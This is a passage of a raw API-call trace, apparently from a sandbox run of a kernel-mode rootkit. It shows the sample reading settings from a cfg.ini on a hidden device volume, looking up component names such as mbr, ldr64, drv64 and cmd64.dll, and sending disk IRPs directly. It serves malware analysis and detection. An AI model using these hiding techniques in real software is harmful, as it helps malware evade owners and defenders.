(_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.345] KeLeaveCriticalRegion () [0126.345] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.346] ReleaseMutex (hMutex=0x100) returned 1 [0126.346] Sleep (dwMilliseconds=0x2bf20) [0126.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e831950, dwHighDateTime=0x1d24fa4)) [0126.352] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.352] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.352] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.352] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.352] KeEnterCriticalRegion () [0126.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.352] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.352] IdePortDispatch () returned 0x103 [0126.352] KeWaitForMutexObject () returned 0x0 [0126.353] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.353] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.353] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.353] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.353] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.353] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac8630 [0126.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.353] KeLeaveCriticalRegion () [0126.353] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.353] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.353] KeEnterCriticalRegion () [0126.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.353] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.353] KeLeaveCriticalRegion () [0126.353] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.353] KeEnterCriticalRegion () [0126.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.353] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.353] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.353] IdePortDispatch () returned 0x103 [0126.353] KeWaitForMutexObject () returned 0x0 [0126.353] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.353] KeLeaveCriticalRegion () [0126.353] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.353] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.353] KeEnterCriticalRegion () [0126.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.353] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347a000 [0126.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.354] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.354] IdePortDispatch () returned 0x103 [0126.354] KeWaitForMutexObject () returned 0x0 [0126.354] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.354] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.354] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.354] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.354] IdePortDispatch () returned 0x103 [0126.354] KeWaitForMutexObject () returned 0x0 [0126.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.354] KeLeaveCriticalRegion () [0126.354] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.355] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.355] KeEnterCriticalRegion () [0126.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.355] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.355] KeLeaveCriticalRegion () [0126.355] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.355] KeEnterCriticalRegion () [0126.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.355] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.355] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.355] KeLeaveCriticalRegion () [0126.355] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.355] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.355] KeEnterCriticalRegion () [0126.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.355] ExFreePoolWithTag (P=0xfffffa8003ac8630, Tag=0x0) [0126.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.355] KeLeaveCriticalRegion () [0126.355] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.355] ReleaseMutex (hMutex=0xf0) returned 1 [0126.355] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.355] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.355] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.355] KeEnterCriticalRegion () [0126.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.355] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.355] IdePortDispatch () returned 0x103 [0126.355] KeWaitForMutexObject () returned 0x0 [0126.355] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.355] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.356] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.356] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.356] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.356] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac8480 [0126.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.356] KeLeaveCriticalRegion () [0126.356] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.356] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.356] KeEnterCriticalRegion () [0126.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.356] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.356] KeLeaveCriticalRegion () [0126.356] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.356] KeEnterCriticalRegion () [0126.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.356] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.356] IdePortDispatch () returned 0x103 [0126.356] KeWaitForMutexObject () returned 0x0 [0126.356] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.356] KeLeaveCriticalRegion () [0126.356] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.356] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.356] KeEnterCriticalRegion () [0126.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.356] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347b000 [0126.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.356] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.356] IdePortDispatch () returned 0x103 [0126.357] KeWaitForMutexObject () returned 0x0 [0126.357] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.357] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.357] IdePortDispatch () returned 0x103 [0126.357] KeWaitForMutexObject () returned 0x0 [0126.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.357] KeLeaveCriticalRegion () [0126.357] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.357] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.357] KeEnterCriticalRegion () [0126.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.358] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.358] KeLeaveCriticalRegion () [0126.358] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.358] KeEnterCriticalRegion () [0126.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.358] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.358] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ecc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.358] KeLeaveCriticalRegion () [0126.358] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.358] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.358] KeEnterCriticalRegion () [0126.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.358] ExFreePoolWithTag (P=0xfffffa8003ac8480, Tag=0x0) [0126.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.358] KeLeaveCriticalRegion () [0126.358] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.358] ReleaseMutex (hMutex=0xf0) returned 1 [0126.358] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.358] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.358] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.358] KeEnterCriticalRegion () [0126.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.358] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.358] IdePortDispatch () returned 0x103 [0126.358] KeWaitForMutexObject () returned 0x0 [0126.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.358] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.358] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.358] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.358] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.358] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.359] KeLeaveCriticalRegion () [0126.359] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.359] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.359] KeEnterCriticalRegion () [0126.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.359] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.359] KeLeaveCriticalRegion () [0126.359] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.359] KeEnterCriticalRegion () [0126.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.359] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.359] IdePortDispatch () returned 0x103 [0126.360] KeWaitForMutexObject () returned 0x0 [0126.360] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.360] KeLeaveCriticalRegion () [0126.360] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.360] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.360] KeEnterCriticalRegion () [0126.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.360] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347c000 [0126.360] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.360] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.360] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.360] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.360] IdePortDispatch () returned 0x103 [0126.360] KeWaitForMutexObject () returned 0x0 [0126.360] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.360] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.360] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.361] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.361] IdePortDispatch () returned 0x103 [0126.361] KeWaitForMutexObject () returned 0x0 [0126.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.361] KeLeaveCriticalRegion () [0126.361] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.361] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.361] KeEnterCriticalRegion () [0126.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.361] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.361] KeLeaveCriticalRegion () [0126.361] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.361] KeEnterCriticalRegion () [0126.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.361] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.362] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.362] KeLeaveCriticalRegion () [0126.362] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.362] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.362] KeEnterCriticalRegion () [0126.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.362] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.362] KeLeaveCriticalRegion () [0126.362] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.362] ReleaseMutex (hMutex=0xf0) returned 1 [0126.362] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.362] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.362] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.362] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.362] KeEnterCriticalRegion () [0126.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.362] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.362] IdePortDispatch () returned 0x103 [0126.362] KeWaitForMutexObject () returned 0x0 [0126.362] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.362] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.362] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.362] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.362] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.362] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.362] _strnicmp (_Str1="drv64", 